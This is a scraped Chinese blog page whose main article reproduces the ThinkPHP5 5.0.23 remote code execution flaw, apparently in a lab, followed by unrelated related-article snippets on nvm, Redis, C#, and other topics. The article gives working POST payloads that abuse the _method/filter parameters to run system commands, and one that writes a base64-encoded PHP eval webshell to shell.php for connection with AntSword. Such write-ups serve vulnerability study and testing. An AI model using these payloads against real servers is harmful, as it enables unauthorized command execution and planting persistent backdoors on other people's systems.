当前位置： 首页 > news >正文

ThinkPHP5 5.0.23-rce远程代码执行漏洞复现

news 2025/9/17 18:24:25

启动环境，先关闭其他环境

启动

判断是否存在漏洞：访问/index.php?s=captcha页面，会出现报错

使用HackBar 插件发送 POST 请求

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=dir 

通过echo命令写入 Webshell 文件并把木马进行base64编码

post发送

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > shell.php

 访问shell.php，使用蚁剑连接

相关文章：

ThinkPHP5 5.0.23-rce远程代码执行漏洞复现

启动环境，先关闭其他环境 启动 判断是否存在漏洞：访问/index.php?scaptcha页面，会出现报错 使用HackBar 插件发送 POST 请求 _method__construct&filter[]system&methodget&server[REQUEST_METHOD]dir 通过echo命令写入 Webshe…...

编程日记 2024/9/9 2:19:54

windows下安装并使用nvm

目录 一.准备工作：卸载node 卸载步骤 二.下载nvm 三.安装nvm 三.配置下载源【重要】 四.使用nvm安装node.js 五.nvm常用命令 六.卸载nvm 一.准备工作：卸载node 如果电脑上已经有node，那么我们需要先完全卸载node，再安装…...

编程日记 2024/9/9 2:18:53

mac m2 安装 nvm

踩坑-填坑 过程 红字都是 启动台-ohter-终端 里面直接输入就行了 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" brew -v 重启终端 brew uninstall nvm brew install nvm 成功提示 > Summary 🍺 /o…...

编程日记 2024/9/9 2:13:48

通信工程学习：什么是AN接入网络

AN接入网络 AN接入网络，全称Access Network，是电信部门业务节点与用户终端设备之间的实施系统。它可以部分或全部代替传统的用户本地线路网，并可包括复用、交叉连接和传输功能。以下是关于AN接入网络的详细解释： 一、AN接入网络的…...

编程日记 2024/9/9 2:12:46

MSCKF7讲：特征管理与优化

MSCKF7讲：特征管理与优化 文章目录 MSCKF7讲：特征管理与优化1 Feature.h2 OptimizationConfig3 initializePosition三角化LM优化3.1 计算归一化坐标深度初值generateInitialGuess① 理论推导② 代码分析 3.2 计算归一化误差cost① 理论推导② 代码分析 3…...

编程日记 2024/9/9 2:09:43

C# XML 使用教程

C# XML 使用教程 目录 C# XML 使用教程XML 是什么介绍组成XML 与 HTML 的区别 C# 中如何使用 XML序列化根元素子元素序列化方法 反序列化反序列化方法 序列化与反序列化实例 XML 是什么 介绍 可扩展标记语言 (Extensible Markup Language, XML) ，标准通用标记语言的…...

编程日记 2024/9/9 2:07:40

淘宝开放平台交易类API解析以及如何测试？

调用淘宝开放平台的订单接口，主要可以通过以下几种途径进行： 1. 直接使用淘宝开放平台提供的API接口 步骤概述： 注册淘宝开放平台账号：首先，你需要在淘宝开放平台注册一个开发者账号。创建应用：在注册并…...

编程日记 2024/9/9 2:02:13

基于聚类与LSTM对比特币价格深度分析与预测

1.项目背景 比特币作为全球最具影响力的加密货币之一，其价格受到多种复杂因素的共同作用，包括市场情绪、政策变化、大型机构的投资行为等，这些因素在不同的市场阶段对比特币价格波动产生直接或间接的影响。通过对比特币市场的深入分析&#…...

编程日记 2024/9/9 2:01:12

YOLOv9改进策略【Neck】| 使用CARAFE轻量级通用上采样算子

一、本文介绍 本文记录的是利用CARAFE上采样对YOLOv9的颈部网络进行改进的方法研究。YOLOv9采用传统的最近邻插值的方法，仅考虑子像素邻域，无法捕获密集预测任务所需的丰富语义信息，从而影响模型在密集预测任务中的性能。CARAFE通过在大感受…...

编程日记 2024/9/9 2:00:10

SpringMVC上

SpringMVC介绍 MVC模型 MVC全称Model View Controller，是一种设计创建Web应用程序的模式。这三个单词分别代表Web应用程序的三个部分： Model（模型）：指数据模型。用于存储数据以及处理用户请求的业务逻辑。在Web应用…...

编程日记 2024/9/9 1:58:07

嵌入式软件--51单片机 DAY 2

一、数码管 1.数码管概况 2.设计 （1）硬件设计 我们可以通过阴极控制显示的位置，通过阳极控制显示的内容。两个数码管共有8个阴极引脚和16个阳极引脚，如果所有引脚都直接接入MCU，会造成MCU引脚的极大浪费。 为了节省…...

编程日记 2024/9/9 1:55:57

高精度加法，减法，乘法，除法

加法： 大整数该如何储存？ 用数组储存： 把个位放在数下标为0的位置，十位放在数组下标为1的位置（也就是高位放在数组的后面） 因为这样，如果需要增加一位最高位，那我们就可以直接在…...

编程日记 2024/9/9 1:50:43

学习计划（大三上）

第二周 总结Java并发编程的艺术 学习JVM（博客文章） 第三周 学习JVM（博客文章） 图解TCP/IP 4章 第四周 完成简历项目 学习JVM（博客文章） 图解TCP/IP 4章 第五周 完成简历项目 深入学习RocketMQ底层…...

编程日记 2024/9/9 1:49:38

【第0006页 · 数组】寻找重复数

【前言】本文以及之后的一些题解都会陆续整理到目录中，若想了解全部题解整理，请看这里： 第0006页 寻找重复数 今天想讨论的一道题在 LeetCode 上评论也是颇为“不错”。有一说一，是道好题，不过我们还是得先理解了它才…...

编程日记 2024/9/9 1:48:33

移情别恋c++ ദ്ദി˶ｰ̀֊ｰ́ ) ——10.继承

1.继承的概念及定义 1.1继承的概念 继承(inheritance)机制是面向对象程序设计使代码可以复用的最重要的手段，它允许程序员在保 持原有类特性的基础上进行扩展，增加功能，这样产生新的类，称派生类。继承呈现了面向对象 程序设计的层…...

编程日记 2024/9/9 1:47:28

uniapp+vue3实现双通道透明MP4播放支持小程序和h5

双通道透明MP4视频播放的截图 以下是合成后结果，二个合并在一起进行播放 下载资源，打开运行直接使用看到效果 https://download.csdn.net/download/qq_40039641/89715780...

编程日记 2024/9/9 1:44:13

汇编：嵌入式软件架构学习资源

成为嵌入式软件架构设计师需要掌握多方面的知识，包括嵌入式系统、实时操作系统、硬件接口、软件设计模式等。 以下是一些推荐的博客和网站，可以帮助你深入学习嵌入式软件架构设计： ### 1. **Embedded.com** - **网址**: [Embedded.com](htt…...

编程日记 2024/9/9 1:42:07

python编程知识（实现数据加密和解密）

👨‍💻个人主页：开发者-曼亿点 👨‍💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍💻 本文由 曼亿点 原创 👨‍💻 收录于专栏&#xff1a…...

编程日记 2024/9/9 1:41:05

如何使div居中？CSS居中终极指南

前言 长期以来，如何在父元素中居中对齐一个元素，一直是一个让人头疼的问题，随着 CSS 的发展，越来越多的工具可以用来解决这个难题，五花八门的招式一大堆，这篇博客，旨在帮助你理解不同的居中方法…...

编程日记 2024/9/9 1:38:03

Redis 篇-深入了解分布式锁 Redisson 原理（可重入原理、可重试原理、主从一致性原理、解决超时锁失效）

🔥博客主页： 【小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍ 本章目录 1.0 基于 Redis 实现的分布式锁存在的问题 2.0 Redisson 功能概述 3.0 Redisson 具体使用 4.0 Redisson 可重入锁原理 5.0 Redisson 锁重试原理 6.0 Redisson WatchDo…...

编程日记 2024/9/9 1:37:02

浏览器访问 AWS ECS 上部署的 Docker 容器（监听 80 端口）

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义（Task Definition&…...

编程新知 2025/9/16 21:55:15

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造，完美适配AGV和无人叉车。同时，集成以太网与语音合成技术，为各类高级系统（如MES、调度系统、库位管理、立库等）提供高效便捷的语音交互体验。 L…...

编程新知 2025/9/17 11:41:13

变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析

一、变量声明设计：let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性，这种设计体现了语言的核心哲学。以下是深度解析： 1.1 设计理念剖析 安全优先原则：默认不可变强制开发者明确声明意图 let x 5; …...

编程新知 2025/7/23 4:47:55

conda相比python好处

Conda 作为 Python 的环境和包管理工具，相比原生 Python 生态（如 pip 虚拟环境）有许多独特优势，尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处： 一、一站式环境管理&#xff1a…...

编程新知 2025/8/25 23:31:20

Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动

一、前言说明 在2011版本的gb28181协议中，拉取视频流只要求udp方式，从2016开始要求新增支持tcp被动和tcp主动两种方式，udp理论上会丢包的，所以实际使用过程可能会出现画面花屏的情况，而tcp肯定不丢包，起码…...

编程新知 2025/9/17 9:45:37

Golang dig框架与GraphQL的完美结合

将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用，可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器，能够帮助开发者更好地管理复杂的依赖关系，而 GraphQL 则是一种用于 API 的查询语言，能够提…...

编程新知 2025/9/5 21:48:13

定时器任务——若依源码分析

分析util包下面的工具类schedule utils： ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类，封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz，先构建任务的 JobD…...

编程新知 2025/9/14 12:35:14

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发，使用DevEco Studio作为开发工具，采用Java语言实现，包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

编程新知 2025/8/19 13:48:59

LangFlow技术架构分析

🔧 LangFlow 的可视化技术栈 前端节点编辑器 底层框架：基于 （一个现代化的 React 节点绘图库） 功能： 拖拽式构建 LangGraph 状态机 实时连线定义节点依赖关系 可视化调试循环和分支逻辑 与 LangGraph 的深…...

编程新知 2025/6/10 21:26:51

API网关Kong的鉴权与限流：高并发场景下的核心实践

🔥「炎码工坊」技术弹药已装填！ 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 引言 在微服务架构中，API网关承担着流量调度、安全防护和协议转换的核心职责。作为云原生时代的代表性网关，Kong凭借其插件化架构…...

编程新知 2025/9/6 9:35:29